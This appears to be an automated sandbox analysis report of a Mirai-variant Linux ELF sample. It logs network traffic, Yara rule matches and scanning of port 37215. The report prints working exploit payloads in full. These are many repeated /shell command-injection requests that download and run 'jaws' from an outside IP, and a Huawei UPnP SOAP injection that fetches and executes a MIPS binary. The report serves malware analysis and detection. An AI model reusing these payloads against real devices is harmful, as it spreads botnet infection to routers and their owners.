Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: sh4.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: sh4.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@30/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 56092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 37215
